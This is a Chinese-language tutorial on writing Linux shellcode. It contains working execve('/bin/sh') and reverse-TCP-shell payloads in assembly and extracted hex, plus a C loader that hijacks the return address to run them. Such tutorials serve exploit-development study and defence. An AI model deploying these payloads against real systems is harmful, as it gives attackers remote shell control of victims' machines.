Shellcode简介
Shellcode是一段用于利用软件漏洞的有效负载,它通常是用汇编语言编写的机器码,可以执行特定的功能,例如启动一个命令行shell,从而让攻击者控制被攻击的机器。Shellcode之所以被称为shellcode,是因为它最初的目的是在目标系统上执行/bin/sh命令,打开一个交互式shell。
Shellcode可以根据攻击者是否在目标机器上执行有效负载分为本地shellcode和远程shellcode。本地shellcode通常用于在攻击者对计算机的访问权限有限,需要利用软件漏洞提升权限的情况。远程shellcode通常用于在攻击者以运行在某个网络中的另一台机器上的易受攻击的进程为目标时,如果成功执行,shellcode可以通过网络访问目标主机。
汇编基础
以编译输出wolf为例,编写wolf.asm文件如下:
BITS 32 section .data msg db "wolf", 0xa section .text global _start _start: mov eax, 4 ; syscall to write() mov ebx, 1 mov ecx, msg mov edx, 4 int 0x80 mov eax, 1 mov ebx, 0 int 0x80
然后执行以下命令安装并编译:
apt-get install libc6-dev-i386 ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf32 wolf.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ld -m elf_i386 wolf.o -o wolf ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ./wolf wolf
Shellcode是一个可以由 CPU 作为二进制代码执行的字符串,使用以下命令可以查看16进制的样子:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# objdump -Mintel -D ./wolf ./wolf: 文件格式 elf32-i386 Disassembly of section .text: 08049000 <_start>: 8049000: b8 04 00 00 00 mov eax,0x4 8049005: bb 01 00 00 00 mov ebx,0x1 804900a: b9 00 a0 04 08 mov ecx,0x804a000 804900f: ba 04 00 00 00 mov edx,0x4 8049014: cd 80 int 0x80 8049016: b8 01 00 00 00 mov eax,0x1 804901b: bb 00 00 00 00 mov ebx,0x0 8049020: cd 80 int 0x80 Disassembly of section .data: 0804a000 <msg>: 804a000: 77 6f ja 804a071 <_end+0x69> 804a002: 6c ins BYTE PTR es:[edi],dx 804a003: 66 data16 804a004: 0a .byte 0xa
<_start>处为编写的代码,可以看到有很多的空字节。
空字节是指那些十六进制数值为00的字节,它们在汇编指令中通常表示为0x00或者00。空字节对于一些系统调用或函数的参数是无效的,因为它们会被当作字符串的结束符。
在编写Shellcode时,应该避免使用空字节,因为它们可能会被当作字符串的结束符,导致截断或错误。
从Shellcode中删除空字节并不难,编写flow.asm文件如下:
BITS 32 section .text global _start _start: xor eax, eax ; EAX = 0 push eax ; string terminator (null byte) push 0x666c6f77; "flow" mov ecx, esp ; ESP is our string pointer mov al, 4 ; AL is 1 byte, enough for the value 4 xor ebx, ebx ; EBX = 0 inc ebx ; EBX = 1 xor edx, edx ; EDX = 0 mov dl, 8 ; DL is 1 byte, enough for the value 8 (added space) int 0x80 ; print mov al, 1 ; AL = 1 dec ebx ; EBX was 1, we decrement int 0x80 ; exit
在该代码中通过对0进行异或、使用1字节寄存器,并对字符串插入一个0作为终止符,然后插入4字节(相反),最后使用ESP作为字符指针来删除空字节。
编译并执行:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf32 flow.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ld -m elf_i386 flow.o -o flow ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ./flow wolf
接下来使用ob查看即可看到没有空字节了:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# objdump -Mintel -D ./flow ./flow: 文件格式 elf32-i386 Disassembly of section .text: 08049000 <_start>: 8049000: 31 c0 xor eax,eax 8049002: 50 push eax 8049003: 68 77 6f 6c 66 push 0x666c6f77 8049008: 89 e1 mov ecx,esp 804900a: b0 04 mov al,0x4 804900c: 31 db xor ebx,ebx 804900e: 43 inc ebx 804900f: 31 d2 xor edx,edx 8049011: b2 08 mov dl,0x8 8049013: cd 80 int 0x80 8049015: b0 01 mov al,0x1 8049017: 4b dec ebx 8049018: cd 80 int 0x80
Shellcode编写
接下来将创建一个带有shell提示符的Shellcode。
为此,使用execve系统调用,它可以执行一个可执行文件或者一个shell命令。
原型如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
接着编写exec.asm文件代码如下:
BITS 32 section .text global _start _start: xor eax, eax push eax ; string terminator push 0x68732f6e ; "hs/n" push 0x69622f2f ; "ib//" mov ebx, esp ; "//bin/sh",0 pointer is ESP xor ecx, ecx ; ECX = 0 xor edx, edx ; EDX = 0 mov al, 0xb ; execve() int 0x80
编译并执行后会出现shell提示符,输入命令即可执行,效果如下:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf32 exec.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ld -m elf_i386 exec.o -o exec ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ./exec # id uid=0(root) gid=0(root) groups=0(root) # exit
目前来讲,这不是Shellcode,而是ELF文件。
当使用nasm组装和ld链接代码时,它包含在 ELF 文件中,但在实际用例中,我们不会注入 ELF 文件。
使用ob即可轻松提取出Shellcode:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# objdump -d ./exec|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
接下来只需要编写Shellcode加载器即可,编写shell.c文件如下:
#include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
反向TCP Shellcode
首先,使用汇编语言编写相应的代码,调用Linux系统调用或函数来实现功能。这里我们使用了以下几个系统调用:
- socket系统调用,它可以创建一个套接字,用于网络通信。它的原型如下:
int socket(int domain, int type, int protocol);
- connect系统调用,它可以连接到一个指定的套接字地址,用于建立连接。它的原型如下:
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
- dup2系统调用,它可以复制一个文件描述符,用于重定向输入输出。它的原型如下:
int dup2(int oldfd, int newfd);
- execve系统调用,它可以执行一个可执行文件或者一个shell命令。它的原型如下:
int execve(const char *filename, char *const argv[], char *const envp[]);
接下来编写connet.asm文件如下:
BITS 32 section .text global _start _start: ; Call to socket(2, 1, 0) push 0x66 ; socketcall() pop eax xor ebx, ebx inc ebx ; EBX = 1 for SYS_SOCKET xor edx, edx ; Bulding args array for socket() call push edx ; proto = 0 (IPPROTO_IP) push BYTE 0x1 ; SOCK_STREAM push BYTE 0x2 ; AF_INET mov ecx, esp ; ECX contain the array pointer int 0x80 ; After the call, EAX contains the file descriptor xchg esi, eax ; ESI = fd ; Call to connect(fd, [AF_INET, 4444, 127.0.0.1], 16) push 0x66 ; socketcall() pop eax mov edx, 0x02010180 ; Trick to avoid null bytes (128.1.1.2) sub edx, 0x01010101 ; 128.1.1.2 - 1.1.1.1 = 127.0.0.1 push edx ; store 127.0.0.1 push WORD 0x5c11 ; push port 4444 inc ebx ; EBX = 2 push WORD bx ; AF_INET mov ecx, esp ; pointer to sockaddr push BYTE 0x10 ; 16, size of addrlen push ecx ; new pointer to sockaddr push esi ; fd pointer mov ecx, esp ; ECX contain the array pointer inc ebx ; EBX = 3 for SYS_CONNECT int 0x80 ; EAX contains the connected socket ; Call to dup2(fd, ...) with a loop for the 3 descriptors xchg eax, ebx ; EBX = fd for connect() push BYTE 0x2 ; we start with stderr pop ecx loop: mov BYTE al, 0x3f ; dup2() int 0x80 dec ecx jns loop ; loop until sign flag is set meaning ECX is negative ; Call to execve() xor eax, eax push eax ; string terminator push 0x68732f6e ; "hs/n" push 0x69622f2f ; "ib//" mov ebx, esp ; "//bin/sh",0 pointer is ESP xor ecx, ecx ; ECX = 0 xor edx, edx ; EDX = 0 mov al, 0xb ; execve() int 0x80
在该代码中,为了避免IP地址空字节,使用了一种规避空字节的技巧:
- 首先,将edx寄存器的值设为0x02010180,这是一个十六进制数,它对应的IP地址是128.1.1.2,它没有空字节。
- 然后,将edx寄存器的值减去0x01010101,这也是一个十六进制数,它对应的IP地址是1.1.1.1,它也没有空字节。
- 最后,得到的结果是0x0100007F,这是一个十六进制数,它对应的IP地址是127.0.0.1,它有一个空字节。
这样,就可以通过两个没有空字节的数的运算来得到一个有空字节的数,从而避免在代码中直接使用空字节。
编译:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf32 connet.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ld -m elf_i386 connet.o -o connet
在另一个终端开启监听:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nc -lvp 4444 listening on [any] 4444 ...
运行程序后即可在监听终端看到连接:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nc -lvp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from localhost [127.0.0.1] 36608
提取Shellcode:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# objdump -d ./connet|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\xba\x80\x01\x01\x02\x81\xea\x01\x01\x01\x01\x52\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
64位 Shellcode
因为之前一直用的32位演示,所以现在简单的演示一下64位,编写shell64.asm:
section .text global _start _start: xor rax, rax push rax ; string terminator mov rax, 0x68732f6e69622f2f ; "hs/nib//" push rax mov rdi, rsp ; "//bin/sh",0 pointer is RSP xor rsi, rsi ; RSI = 0 xor rdx, rdx ; RDX = 0 xor rax, rax ; RAX = 0 mov al, 0x3b ; execve() syscall
编译并运行:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# nasm -f elf64 shell64.asm ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ld -m elf_x86_64 shell64.o -o shell64 ┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# ./shell64 # id uid=0(root) gid=0(root) groups=0(root) # exit
提取Shellcode:
┌──(root㉿kali)-[/usr/src/linux-shellcode] └─# objdump -d ./shell64|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"
结语
无